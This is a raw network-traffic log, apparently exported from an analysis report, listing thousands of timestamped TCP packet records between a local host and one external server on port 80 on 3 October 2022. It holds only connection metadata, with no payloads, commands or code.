Oct 3, 2022 17:30:12.162005901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162033081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162050009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162070036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162072897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.162096024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162111998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162132978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162134886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.162158966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162195921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.163933039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.164913893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.164968967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165003061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165030956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165036917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165061951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165065050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165097952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165121078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165121078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165129900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165158033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165184975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165213108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165222883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165222883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165235996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165262938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165265083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165296078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165324926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165328026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165359020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165390968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165416002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165421963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165457964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165491104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165494919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165494919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165514946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165544987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165575981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165587902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165587902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165606022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165627956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165647984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165674925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165685892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165707111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165738106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165755033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165772915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165798903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165833950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165837049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165864944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165868998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165898085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165930986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165931940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165955067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165976048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.165981054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.165997028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166018963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166035891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166042089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166064024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166065931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166084051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166084051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166090012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166112900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166114092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166136026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166157007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166161060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166178942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166178942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166203022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166213036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166227102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166229010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166250944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166274071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166279078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166279078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166294098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166296959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166320086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166342020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166344881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166363955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166384935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166388988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166407108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166428089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166428089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166428089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166429996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166449070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166459084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166466951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166481018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166492939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166506052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166517973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166533947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166548014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166560888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166577101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166599989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166621923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166631937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166646004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166662931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166676044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166676044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166697025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166714907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166714907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166717052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166740894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166762114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166764975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166785002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.166785002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166785002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166810036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.166887999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189274073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189322948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189354897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189384937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189409018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189438105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189469099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189475060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189500093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189507961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189507961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189534903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189548969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189548969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189570904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189590931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189604998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189637899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189657927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189670086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189701080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189732075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189754963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189764023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189784050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189798117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189822912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189843893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189862967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189865112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189888954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189908981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189917088 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189917088 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189934015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189955950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.189955950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189956903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189976931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.189980984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190001011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190004110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190026999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190047979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190067053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190068007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190090895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190109015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190110922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190133095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190140009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190140009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190150976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190155029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190177917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190198898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190217018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190217972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190239906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190259933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190262079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190262079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190282106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190303087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190303087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190303087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190320969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190325975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190347910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.190347910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.190998077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.191029072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.191051006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.191072941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.193864107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.193905115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.193934917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.193950891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.193958044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.193980932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194003105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194004059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194029093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194031954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194031954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194052935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194076061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194076061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194102049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194122076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194122076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194145918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194149017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194149017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194168091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194169998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194197893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194220066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194241047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194241047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194263935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194263935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194286108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194308043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194313049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194313049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194331884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194334030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194355011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194376945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194396973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194397926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194421053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194422960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194447994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194468975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194472075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194472075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194490910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194492102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194515944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194535971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194556952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194557905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194580078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194580078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194602966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194624901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194628954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194628954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194647074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194649935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194673061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194694996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194715977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194716930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194739103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194739103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194761992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194762945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194786072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194787025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194809914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194812059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194837093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194856882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194856882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194901943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194925070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194946051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194946051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194948912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194972992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.194983959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.194998980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195019960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195024967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195024967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195043087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195044994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195065022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195067883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195086956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195107937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195128918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195130110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195149899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195151091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195173979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195194960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195197105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195197105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195216894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195216894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195240021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195261002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195281029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195281982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195303917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195322990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.195327997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195327997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.195349932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.197916985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.460407019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.460800886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.976445913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.976509094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:13.936470032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:13.937783957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:15.824450970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:15.825530052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.233625889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.234546900 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.261291981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.261363983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.261401892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.261403084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.261476040 CEST	49694	80	192.168.2.5	85.31.46.167
